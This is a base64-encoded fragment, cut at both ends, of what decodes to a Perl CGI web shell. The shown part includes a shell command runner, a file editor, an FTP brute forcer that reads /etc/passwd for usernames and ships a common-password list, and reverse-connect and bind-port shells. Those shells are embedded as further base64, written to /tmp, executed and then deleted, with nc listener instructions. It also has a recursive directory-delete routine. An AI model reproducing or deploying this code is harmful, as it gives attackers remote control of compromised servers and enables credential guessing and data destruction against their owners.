DdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7DQoJaWYoISRXaW5OVCkNCgl7DQoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7DQoJCWFsYXJtKCRDb21tYW5kVGltZW91dER1cmF0aW9uKTsNCgl9DQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZA0KCXsNCgkJJHw9MTsNCgkJJENvbW1hbmQgLj0gIiB8IjsNCgkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7DQoJCXdoaWxlKDxDb21tYW5kT3V0cHV0PikNCgkJew0KCQkJJF8gPX4gcy8oXG58XHJcbikkLy87DQoJCQkkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJzKCIkX1xuIik7DQoJCX0NCgkJJHw9MDsNCgl9DQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzDQoJew0KCQkkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJzKCckQ29tbWFuZCcpOw0KCX0NCglpZighJFdpbk5UKQ0KCXsNCgkJYWxhcm0oMCk7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KIyBGb3JtIFNhdmUgRmlsZSANCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCnN1YiBTYXZlRmlsZUZvcm0NCnsNCglteSAkcmVzdWx0ID0iIjsNCglzdWJzdHIoJFJ1bkNvbW1hbmQsMCw1KT0iIjsNCglteSAkZmlsZT0mdHJpbSgkUnVuQ29tbWFuZCk7DQoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFJ1bkNvbW1hbmQ7DQoJbXkgJGRpcj0iPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJndWkiKS4iPC9zcGFuPiI7DQoJaWYoLXcgJEZpbGUpDQoJew0KCQkkcm93cz0iMjMiDQoJfWVsc2UNCgl7DQoJCSRtc2c9Ijxicj48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hOyBjb2xvcjogeWVsbG93OycgPiBQZXJtaXNzaW9uIGRlbmllZCE8Zm9udD48YnI+IjsNCgkJJHJvd3M9IjIwIg0KCX0NCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIjxmb250IGNvbG9yPScjRkZGRkZGJz5bYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQ8L2ZvbnQ+ICI7DQoJJHJlYWQ9KCRXaW5OVCk/InR5cGUiOiJsZXNzIjsNCgkkUnVuQ29tbWFuZCA9ICIkcmVhZCBcIiRSdW5Db21tYW5kXCIiOw0KCSRyZXN1bHQgLj0gIDw8RU5EOw0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCgkkUHJvbXB0DQoJPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBuYW1lPSJjIj4NCgk8aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJGZpbGUiID4gJHNhdmUgPGJyPiAkbXNnDQoJPGJyPjx0ZXh0YXJlYSBpZD0iZGF0YSIgbmFtZT0iZGF0YSIgY29scz0iJGNvbHMiIHJvd3M9IiRyb3dzIiBzcGVsbGNoZWNrPSJmYWxzZSI+DQpFTkQNCgkNCgkkcmVzdWx0IC49ICZSdW5DbWQ7DQoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsNCgkkcmVzdWx0IC49ICAiPC9mb3JtPiI7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIFNhdmUgRmlsZQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIFNhdmVGaWxlKCQpDQp7DQoJbXkgJERhdGE9IHNoaWZ0IDsNCglteSAkRmlsZT0gc2hpZnQ7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJEZpbGU7DQoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpDQoJew0KCQliaW5tb2RlIEZJTEU7DQoJCXByaW50IEZJTEUgJERhdGE7DQoJCWNsb3NlIEZJTEU7DQoJCXJldHVybiAxOw0KCX1lbHNlDQoJew0KCQlyZXR1cm4gMDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJydXRlIEZvcmNlciBGb3JtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQnJ1dGVGb3JjZXJGb3JtDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkcmVzdWx0IC49IDw8RU5EOw0KDQo8dGFibGU+DQoNCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4NCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIzxicj4NClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJydXRlZm9yY2VyIi8+DQo8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD5Vc2VyOjxicj48dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJ1c2VyIj4NCkVORA0KY2hvcCgkcmVzdWx0IC49IGBsZXNzIC9ldGMvcGFzc3dkIHwgY3V0IC1kOiAtZjFgKTsNCiRyZXN1bHQgLj0gPDwnRU5EJzsNCjwvdGV4dGFyZWE+PC90ZD4NCjx0ZD4NCg0KUGFzczo8YnI+DQo8dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJwYXNzIj4xMjNwYXNzDQoxMjMhQCMNCjEyM2FkbWluDQoxMjNhYmMNCjEyMzQ1NmFkbWluDQoxMjM0NTU0MzIxDQoxMjM0NDMyMQ0KcGFzczEyMw0KYWRtaW4NCmFkbWluY3ANCmFkbWluaXN0cmF0b3INCm1hdGtoYXUNCnBhc3NhZG1pbg0KcEBzc3dvcmQNCnBAc3N3MHJkDQpwYXNzd29yZA0KMTIzNDU2DQoxMjM0NTY3DQoxMjM0NTY3OA0KMTIzNDU2Nzg5DQoxMjM0NTY3ODkwDQoxMTExMTENCjAwMDAwMA0KMjIyMjIyDQozMzMzMzMNCjQ0NDQ0NA0KNTU1NTU1DQo2NjY2NjYNCjc3Nzc3Nw0KODg4ODg4DQo5OTk5OTkNCjEyMzEyMw0KMjM0MjM0DQozNDUzNDUNCjQ1NjQ1Ng0KNTY3NTY3DQo2Nzg2NzgNCjc4OTc4OQ0KMTIzMzIxDQo0NTY2NTQNCjY1NDMyMQ0KNzY1NDMyMQ0KODc2NTQzMjENCjk4NzY1NDMyMQ0KMDk4NzY1NDMyMQ0KYWRtaW4xMjMNCmFkbWluMTIzNDU2DQphYmNkZWYNCmFiY2FiYw0KIUAjIUAjDQohQCMkJV4NCiFAIyQlXiYqKA0KIUAjJCQjQCENCmFiYzEyMw0KYW5oeWV1ZW0NCmlsb3ZleW91PC90ZXh0YXJlYT4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPg0KU2xlZXA6PHNlbGVjdCBuYW1lPSJzbGVlcCI+DQoNCjxvcHRpb24+MDwvb3B0aW9uPg0KPG9wdGlvbj4xPC9vcHRpb24+DQo8b3B0aW9uPjI8L29wdGlvbj4NCg0KPG9wdGlvbj4zPC9vcHRpb24+DQo8L3NlbGVjdD4gDQo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8+PC90ZD48L3RyPg0KPC9mb3JtPg0KPC90YWJsZT4NCkVORA0KcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJydXRlIEZvcmNlcg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJydXRlRm9yY2VyDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307DQoJaWYoJGlueyd1c2VyJ30gZXEgIiIpDQoJew0KCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07DQoJfWVsc2UNCgl7DQoJCXVzZSBOZXQ6OkZUUDsgDQoJCUB1c2VyPSBzcGxpdCgvXG4vLCAkaW57J3VzZXInfSk7DQoJCUBwYXNzPSBzcGxpdCgvXG4vLCAkaW57J3Bhc3MnfSk7DQoJCWNob21wKEB1c2VyKTsNCgkJY2hvbXAoQHBhc3MpOw0KCQkkcmVzdWx0IC49ICI8YnI+PGJyPlsrXSBUcnlpbmcgYnJ1dGUgJFNlcnZlck5hbWU8YnI+PT09PT09PT09PT09PT09PT09PT0+Pj4+Pj4+Pj4+Pj48PDw8PDw8PDw8PT09PT09PT09PT09PT09PT09PT08YnI+PGJyPlxuIjsNCgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQ0KCQl7DQoJCQlpZighKCR1c2VybmFtZSBlcSAiIikpDQoJCQl7DQoJCQkJZm9yZWFjaCAkcGFzc3dvcmQgKEBwYXNzKQ0KCQkJCXsNCgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgDQoJCQkJCWlmKCRmdHAtPmxvZ2luKCIkdXNlcm5hbWUiLCIkcGFzc3dvcmQiKSkNCgkJCQkJew0KCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7DQoJCQkJCQkkZnRwLT5xdWl0KCk7DQoJCQkJCQlicmVhazsNCgkJCQkJfQ0KCQkJCQlpZighKCRpbnsnc2xlZXAnfSBlcSAiMCIpKQ0KCQkJCQl7DQoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSk7DQoJCQkJCX0NCgkJCQkJJGZ0cC0+cXVpdCgpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCYWNrY29ubmVjdCBGb3JtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmFja0JpbmRGb3JtDQp7DQoJcmV0dXJuIDw8RU5EOw0KCTxicj48YnI+DQoNCgk8dGFibGU+DQoJPHRyPg0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPg0KCTx0ZD4gSG9zdDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjIwIiBuYW1lPSJjbGllbnRhZGRyIiB2YWx1ZT0iJEVOVnsnUkVNT1RFX0FERFInfSI+DQoJIFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI3IiBuYW1lPSJjbGllbnRwb3J0IiB2YWx1ZT0iODAiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiYScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+PC90ZD4NCg0KCTx0ZD48aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJDb25uZWN0Ij48L3RkPg0KCTwvZm9ybT4NCgk8L3RyPg0KCTx0cj4NCgk8dGQgY29sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY+WytdIENsaWVudCBsaXN0ZW4gYmVmb3JlIGNvbm5lY3QgYmFjayENCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+DQoJPGJyPlsrXSBDbGllbnQgbGlzdGVuIHdpdGggY29tbWFuZDogPHJ1bj5uYyAtdnYgLWwgLXAgPHNwYW4gaWQ9ImJhIj44MDwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4NCg0KCTwvdHI+DQoJPC90YWJsZT4NCg0KCTxicj48YnI+DQoJPHRhYmxlPg0KCTx0cj4NCgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCgk8dGQ+QmluZCBQb3J0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+DQoNCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+DQoNCgkgUGFzc3dvcmQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iYmluZHBhc3MiIHZhbHVlPSJUSElFVUdJQUJVT04iPjwvdGQ+DQoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkJpbmQiPjwvdGQ+DQoJPC9mb3JtPg0KCTwvdHI+DQoJPHRyPg0KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2h1YyBuYW5nIGNodWEgZGMgdGVzdCENCgk8YnI+WytdIFRyeSBjb21tYW5kOiA8cnVuPm5jICRFTlZ7J1NFUlZFUl9BRERSJ30gPHNwYW4gaWQ9ImJpIj4xNDEyPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPg0KDQoJPC90cj4NCgk8L3RhYmxlPjxicj4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCYWNrY29ubmVjdCB1c2UgcGVybA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJhY2tCaW5kDQp7DQoJdXNlIE1JTUU6OkJhc2U2NDsNCgl1c2UgU29ja2V0OwkNCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7DQoJJGJpbmRwZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkVGU1IwTTlRRUZTUjFZN0RRb2tjRzl5ZEFrOUlDUkJVa2RXV3pCZE93MEtKSEJ5YjNSdkNUMGdaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS0pGTm9aV3hzQ1QwZ0lpOWlhVzR2WW1GemFDSTdEUXB6YjJOclpYUW9VMFZTVmtWU0xDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLVzl5SUdScFpTQWljMjlqYTJWME9pUWhJanNOQ25ObGRITnZZMnR2Y0hRb1UwVlNWa1ZTTENCVFQweGZVMDlEUzBWVUxDQlRUMTlTUlZWVFJVRkVSRklzSUhCaFkyc29JbXdpTENBeEtTbHZjaUJrYVdVZ0luTmxkSE52WTJ0dmNIUTZJQ1FoSWpzTkNtSnBibVFvVTBWU1ZrVlNMQ0J6YjJOcllXUmtjbDlwYmlna2NHOXlkQ3dnU1U1QlJFUlNYMEZPV1NrcGIzSWdaR2xsSUNKaWFXNWtPaUFrSVNJN0RRcHNhWE4wWlc0b1UwVlNWa1ZTTENCVFQwMUJXRU5QVGs0cENRbHZjaUJrYVdVZ0lteHBjM1JsYmpvZ0pDRWlPdzBLWm05eUtEc2dKSEJoWkdSeUlEMGdZV05qWlhCMEtFTk1TVVZPVkN3Z1UwVlNWa1ZTS1RzZ1kyeHZjMlVnUTB4SlJVNVVLUTBLZXcwS0NXOXdaVzRvVTFSRVNVNHNJQ0krSmtOTVNVVk9WQ0lwT3cwS0NXOXdaVzRvVTFSRVQxVlVMQ0FpUGlaRFRFbEZUbFFpS1RzTkNnbHZjR1Z1S0ZOVVJFVlNVaXdnSWo0bVEweEpSVTVVSWlrN0RRb0pjM2x6ZEdWdEtDSjFibk5sZENCSVNWTlVSa2xNUlRzZ2RXNXpaWFFnVTBGV1JVaEpVMVFnTzJWamFHOGdKMXNyWFNCVGVYTjBaVzFwYm1adk9pQW5PeUIxYm1GdFpTQXRZVHRsWTJodk8yVmphRzhnSjFzclhTQlZjMlZ5YVc1bWJ6b2dKenNnYVdRN1pXTm9ienRsWTJodklDZGJLMTBnUkdseVpXTjBiM0o1T2lBbk95QndkMlE3WldOb2J6c2daV05vYnlBbld5dGRJRk5vWld4c09pQW5PeVJUYUdWc2JDSXBPdzBLQ1dOc2IzTmxLRk5VUkVsT0tUc05DZ2xqYkc5elpTaFRWRVJQVlZRcE93MEtDV05zYjNObEtGTlVSRVZTVWlrN0RRcDlEUW89IjsNCg0KCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307DQoJJENsaWVudFBvcnQgPSBpbnQoJGlueydjbGllbnRwb3J0J30pOw0KCWlmKCRDbGllbnRQb3J0IGVxIDApDQoJew0KCQlyZXR1cm4gJkJhY2tCaW5kRm9ybTsNCgl9ZWxzaWYoISRDbGllbnRBZGRyIGVxICIiKQ0KCXsNCgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmFja3BlcmwpOw0KCQlpZigtdyAiL3RtcC8iKQ0KCQl7DQoJCQkkRmlsZT0iL3RtcC9iYWNrY29ubmVjdC5wbCI7CQ0KCQl9ZWxzZQ0KCQl7DQoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmFja2Nvbm5lY3QucGwiOw0KCQl9DQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOw0KCQlwcmludCBGSUxFICREYXRhOw0KCQljbG9zZSBGSUxFOw0KCQlzeXN0ZW0oInBlcmwgYmFja2Nvbm5lY3QucGwgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsNCgkJdW5saW5rKCRGaWxlKTsNCgkJZXhpdCAwOw0KCX1lbHNlDQoJew0KCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiaW5kcGVybCk7DQoJCWlmKC13ICIvdG1wIikNCgkJew0KCQkJJEZpbGU9Ii90bXAvYmluZHBvcnQucGwiOwkNCgkJfWVsc2UNCgkJew0KCQkJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuImJpbmRwb3J0LnBsIjsNCgkJfQ0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJc3lzdGVtKCJwZXJsIGJpbmRwb3J0LnBsICRDbGllbnRQb3J0Iik7DQoJCXVubGluaygkRmlsZSk7DQoJCWV4aXQgMDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojICBBcnJheSBMaXN0IERpcmVjdG9yeQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJtRGlyKCQpIA0Kew0KCW15ICRkaXIgPSBzaGlmdDsNCiAgICBpZihvcGVuZGlyKERJUiwkZGlyKSkNCgl7DQoJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQ0KCQl7DQoJCQlpZigoJGZpbGUgbmUgIi4iKSAmJiAoJGZpbGUgbmUgIi4uIikpDQoJCQl7DQoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7DQoJCQkJaWYoLWQgJGZpbGUpDQoJCQkJew0KCQkJCQkmUm1EaXIoJGZpbGUpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQl1bmxpbmsoJGZpbGUpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQljbG9zZWRpcihESVIpOw0KCX0NCglpZighcm1kaXIoJGRpcikpDQoJew0KCQkNCgl9DQp9DQpzdWIgRmlsZU93bmVyKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglpZigtZSAkZmlsZSkNCgl7DQoJCSgkdWlkLCRnaWQpID0gKHN0YXQoJGZpbGUpKVs0LDVdOw0KCQlpZigkV2luTlQpDQoJCXsNCgkJCXJldHVybiAiPz8/IjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOw0KCQkJJGdyb3VwPWdldGdyZ2lkKCRnaWQpOw0KCQkJcmV0dXJuICRuYW1lLiIvIi4kZ3JvdXA7DQoJCX0NCgl9DQoJcmV0dXJuICI/Pz8iOw0KfQ0Kc3ViIFBhcmVudEZvbGRlcigkKQ0Kew0KCW15ICRwYXRoID0gc2hpZnQ7DQoJbXkgJENvbW0gPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAuLiIuJENtZFNlcC4kQ21kUHdkOw0KCWNob3AoJHBhdGggPSBgJENvbW1gKTsNCglyZXR1cm4gJHBhdGg7DQp9DQpzdWIgRmlsZVBlcm1zKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglteSAkdXIgPSAiLSI7DQoJbXkgJHV3ID0gIi0iOw0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJaWYoJFdpbk5UKQ0KCQl7DQoJCQlpZigtciAkZmlsZSl7ICR1ciA9ICJyIjsgfQ0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0NCgkJCXJldHVybiAkdXIgLiAiIC8gIiAuICR1dzsNCgkJfWVsc2UNCgkJew0KCQkJJG1vZGU9KHN0YXQoJGZpbGUpKVsyXTsNCgkJCSRyZXN1bHQgPSBzcHJpbnRmKCIlMDRvIiwgJG1vZGUgJiAwNzc3Nyk7DQoJCQlyZXR1cm4gJHJlc3VsdDsNCgkJfQ0KCX0NCglyZXR1cm4gIjAwMDAiOw0KfQ0Kc3ViIEZpbGVMYXN0TW9kaWZpZWQoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJKCRsYSkgPSAoc3RhdCgkZmlsZSkpWzldOw0KCQkoJGQsJG0sJHksJGgsJGkpID0gKGxvY2FsdGltZSgkbGEpKVszLDQsNSwyLDFdOw0KCQkkeSA9ICR5ICsgMTkwMDsNCgkJQG1vbnRoID0gcXcvMSAyIDMgNCA1IDYgNyA4IDkgMTAgMTEgMTIvOw0KCQkkbG10aW1lID0gc3ByaW50ZigiJTAyZC8lcy8lNGQgJTAyZDolMDJkIiwkZCwkbW9udGhbJG1dLCR5LCRoLCRpKTsNCgkJcmV0dXJuICRsbXRpbWU7DQoJfQ0KCXJldHVybiAiPz8/IjsNCn0NCnN1YiBGaWxlU2l6ZSgkKQ0Kew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJaWYoLWYgJGZpbGUpDQoJew0KCQlyZXR1cm4gLXMgJGZpbGU7DQoJfQ0KCXJldHVybiAiMCI7DQoNCn0NCnN1YiBQYXJzZUZpbGVTaXplKCQpDQp7DQoJbXkgJHNpemUgPSBzaGlmdDsNCglpZigkc2l6ZSA8PSAxMDI0KQ0KCXsNCgkJcmV0dXJuICRzaXplLiAiIEIiOw0KCX0NCgllbHNlDQoJew0KCQlpZigkc2l6ZSA8PSAxMDI0KjEwMjQpIA0KCQl7DQoJCQkkc2l6ZSA9IHNwcmludGYo